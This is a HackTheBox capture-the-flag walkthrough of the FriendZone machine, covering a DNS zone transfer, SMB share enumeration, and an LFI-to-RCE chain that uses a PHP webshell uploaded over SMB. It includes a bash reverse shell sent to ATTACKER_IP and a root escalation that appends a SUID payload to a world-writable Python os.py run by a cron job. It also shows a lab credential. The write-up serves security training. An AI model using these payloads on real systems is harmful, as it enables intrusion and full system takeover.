FriendZone Walkthrough
Machine: FriendZone#
Date: 02-04-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:
nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP
nmap -sU --top-ports 20 -oN scans/nmap_udp.txt $MACHINE_IP
Results:
- Port 21 β FTP vsftpd 3.0.3 β anonymous login disabled
- Port 22 β SSH OpenSSH 7.6p1 Ubuntu 18.04
- Port 53 β DNS ISC BIND 9.11.3 β TCP open β zone transfer possible
- Port 80 β Apache 2.4.29 β “Friend Zone Escape software” (static)
- Port 139/445 β Samba 4.7.6 β guest access allowed
- Port 443 β HTTPS Apache β SSL cert
commonName=friendzone.red
Notes:
- Port 53 TCP open β always attempt zone transfer when DNS TCP is open
- SSL cert reveals domain:
friendzone.red - SMB guest access β enumerate shares immediately
- OS: Ubuntu 18.04 Bionic
echo "MACHINE_IP friendzone.red" >> /etc/hosts
π Enumeration#
DNS Zone Transfer#
β [[dns]] β zone transfer
Port 53 TCP open is a strong indicator that zone transfers are enabled. Zone transfers use TCP because the response can be large.
dig axfr friendzone.red @MACHINE_IP
Result β subdomain discovery:
administrator1.friendzone.red. β A 127.0.0.1
hr.friendzone.red. β A 127.0.0.1
uploads.friendzone.red. β A 127.0.0.1
# Add all to /etc/hosts
echo "MACHINE_IP friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" >> /etc/hosts
Why zone transfer worked: DNS TCP on port 53 means the server accepts zone transfer requests (AXFR). These return the full DNS zone β all A records, CNAMEs, MX, etc. β revealing all subdomains at once. This is a critical misconfiguration that leaks the entire attack surface.
SMB Enumeration#
β [[Exploitation/ftp]] β secciΓ³n smbclient / smbmap
# List shares with permissions
smbmap -H MACHINE_IP
# Result:
# print$ β NO ACCESS
# Files β NO ACCESS (comment reveals: /etc/Files)
# general β READ ONLY
# Development β READ, WRITE β writable!
# IPC$ β NO ACCESS
Explore readable shares:
smbclient //MACHINE_IP/general -N
# Found: creds.txt
get creds.txt
creds.txt contents:
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Development share β write access confirmed:
smbclient //MACHINE_IP/Development -N
# Empty β but we can write files here
# The share comment pattern (/etc/Files for Files share) suggests
# Development maps to /etc/Development on the server
Key insight from share comments: The Files share comment says “FriendZone Samba Server Files /etc/Files” β this reveals the actual filesystem path. By extension, Development likely maps to /etc/Development.
Web Enumeration#
https://administrator1.friendzone.red β Login form (HTTPS only, HTTP gives 404)
Login with found credentials: admin:WORKWORKHhallelujah@# β “Login Done ! visit /dashboard.php”
https://administrator1.friendzone.red/dashboard.php β “Smart photo script for friendzone corp!” β “we are dealing with a beginner php developer and the application is not tested yet!” β image_name param is missed! default is image_id=a.jpg&pagename=timestamp
Key observations:
pagenameparameter loads PHP files dynamically β potential LFI- PHP adds
.phpextension automatically (confirmed:pagename=timestamploadstimestamp.php) - “beginner php developer” + “not tested” = strong hint of vulnerabilities
https://uploads.friendzone.red β File upload form (images only)
π₯ Exploitation#
LFI + SMB Write β RCE#
Attack chain: Upload PHP webshell via SMB to /etc/Development/ β Include via LFI in pagename parameter
β [[Web/file_inclusion]] β secciΓ³n LFI to RCE
Why this works: The pagename parameter in dashboard.php includes PHP files dynamically using something like include($_GET['pagename'] . '.php'). Since Development share maps to /etc/Development/ on the server, files we upload via SMB are accessible to the web server via absolute path.
Step 1 β Create webshell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Step 2 β Upload via SMB:
smbclient //MACHINE_IP/Development -N
smb: \> put shell.php
Step 3 β Verify RCE via LFI:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data) β
Note: The pagename parameter appends .php automatically, so we pass /etc/Development/shell (without .php) to load /etc/Development/shell.php.
Step 4 β Reverse shell:
nc -lvnp 4449 &
# Login first to get session cookie
curl -k -c /tmp/fz_cookies.txt -X POST \
'https://administrator1.friendzone.red/login.php' \
-d 'username=admin&password=WORKWORKHhallelujah@#'
# Trigger reverse shell with cookie
curl -k -b /tmp/fz_cookies.txt \
'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell2' \
-d 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4449 0>&1"'
Or directly via URL encoding:
curl -k -b /tmp/fz_cookies.txt \
'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER_IP/4449+0>%261"'
Shell stabilization:
python3 -c "import pty; pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Result: Shell as www-data β
Lateral Movement: www-data β friend#
β [[linux_credential_hunting]] β secciΓ³n config files
find /var/www -name "*.conf" -o -name "*.php" 2>/dev/null | xargs grep -l "pass\|user" 2>/dev/null
cat /var/www/mysql_data.conf
Result:
db_user=friend
db_pass=[REDACTED]
db_name=FZ
su friend # password: [REDACTED]
User flag:
cat /home/friend/user.txt
`[FLAG REDACTED]`
β‘ Privilege Escalation#
Discovery#
sudo -l # friend may NOT run sudo
id # uid=1000(friend) groups=friend,adm,lpadmin,sambashare
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
Critical findings:
/usr/lib/python2.7/os.py β world-writable Python standard library!
/opt/server_admin/reporter.py β Python script (root-owned, not writable)
cat /opt/server_admin/reporter.py
# #!/usr/bin/python
# import os β imports os module!
# ... sends email report
Confirming with pspy#
β [[linpeas_kernel]] β secciΓ³n pspy
[!critical] Always confirm with pspy that root executes the target script BEFORE modifying any files. Never blindly modify system files hoping something calls them.
# Transfer pspy to target
scp /tmp/pspy64 friend@MACHINE_IP:/tmp/
chmod +x /tmp/pspy64
/tmp/pspy64
pspy output (waiting ~1 minute):
2026/04/02 13:46:01 CMD: UID=0 | /usr/sbin/CRON -f
2026/04/02 13:46:01 CMD: UID=0 | /bin/sh -c /opt/server_admin/reporter.py
2026/04/02 13:46:01 CMD: UID=0 | /usr/bin/python /opt/server_admin/reporter.py
Confirmed: root executes reporter.py every minute via cron. The script uses #!/usr/bin/python (Python 2) and import os.
Python Library Hijacking#
β [[sudo_suid_cron_writable]] β secciΓ³n Python standard library hijacking via cron
Why this works: When Python imports os, it searches the library path and loads /usr/lib/python2.7/os.py. Since this file is world-writable, we can append malicious code. When root’s cron job runs reporter.py and Python executes import os, our injected code runs as root.
Step 1 β Inject SUID payload into os.py:
echo 'import os; os.system("chmod +s /bin/bash")' >> /usr/lib/python2.7/os.py
Why append instead of replace: Appending preserves the original module β Python still loads all the legitimate os functions. Our line executes as part of the module initialization when import os is called. Replacing the entire file would break the import and the attack would fail silently.
Step 2 β Wait for cron (confirmed every 60 seconds by pspy):
ls -la /bin/bash
# -rwsr-sr-x 1 root root ... /bin/bash β SUID set!
Step 3 β Escalate:
/bin/bash -p
whoami # root
Root flag:
cat /root/root.txt
`[FLAG REDACTED]`
π§© Attack Chain#
- Port scan β DNS TCP open (zone transfer) + SMB guest + HTTPS with
friendzone.redcert dig axfr friendzone.redβ 3 subdomains:administrator1,hr,uploadssmbmapβgeneral(READ) +Development(READ/WRITE)smbclient //IP/generalβcreds.txtβadmin:[REDACTED]https://administrator1.friendzone.redβ login β dashboard withpagenameLFI- SMB write access to
Development(maps to/etc/Development/on server) - Upload
shell.phpvia SMB β include viapagename=/etc/Development/shellβ RCE aswww-data cat /var/www/mysql_data.confβfriend:[REDACTED]su friendβ user flag βfind / -writableβ/usr/lib/python2.7/os.pyworld-writablepspy64β confirms root runsreporter.py(which importsos) every minute- Append SUID payload to
os.pyβ wait 60s β/bin/bash -pβ root flag β
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]
β/home/friend/user.txt` - root.txt: ``[FLAG REDACTED]
β/root/root.txt`
Credentials found:
| Service | User | Credential | Source |
|---|---|---|---|
| Web admin / SMB | admin | [REDACTED] | general SMB share β creds.txt |
| System | friend | [REDACTED] | /var/www/mysql_data.conf |
π Lessons Learned#
- DNS TCP on port 53 = always try zone transfer. Zone transfers (AXFR) use TCP and reveal the entire DNS zone. This single command exposed three hidden subdomains that contained the entire attack path. Always do
dig axfr DOMAIN @IPwhen port 53 TCP is open. - SMB share comments leak filesystem paths. The comment “FriendZone Samba Server Files /etc/Files” revealed the actual path on disk. This allowed us to infer that
Developmentβ/etc/Developmentand target the LFI correctly without guessing. - LFI + writable network share = instant RCE. If you can write files to a location accessible via LFI, you have RCE. The key insight: SMB shares are often mounted to real filesystem paths. Find where they land and include them via the LFI.
- PHP LFI often appends
.phpautomatically. Usepagename=timestampas a test β if it loadstimestamp.phpsuccessfully, the app is appending the extension. Include files without the.phpsuffix in the URL. - Credentials reuse between services is common. The database credentials in
mysql_data.confworked forsu frienddirectly. Always try found credentials everywhere. - pspy before touching anything. The correct workflow is: run pspy β wait 2-3 minutes β confirm UID=0 executing the target β THEN inject payload. Never modify system files blindly hoping something calls them.
- Python standard library files can be world-writable. When a root cron job runs a Python script that imports standard modules, check if those module files are writable.
/usr/lib/python2.7/os.pywith 777 permissions is an instant root path. Usefind /usr/lib/pythonX.X -writable -name "*.py". - Append to library files, don’t replace them. Adding code at the end of
os.pykeeps the original module functional. The injected code runs duringimport osinitialization. Replacing the file breaks the module and the attack fails silently.
#DNS_Axfr #Zone_Transfer #Subdomain_Enum #SMB_Enum #SMB_Guest #SMB_Write #LFI #LFI_to_RCE #File_Inclusion #PHP_LFI #Webshell #RCE #Credential_Reuse #Config_File_Loot #Linux_Lateral_Movement #Privesc_Linux #Cron_Privesc #Pspy #Writable_Files #Python_Hijacking #Python_Library_Hijack #SUID #Bash_SUID #Privilege_Escalation #Attack_Chain_LFI_SMB #Attack_Chain_DNS_SMB_LFI
Adapted from MountainFlayer/htb-writeups under MIT.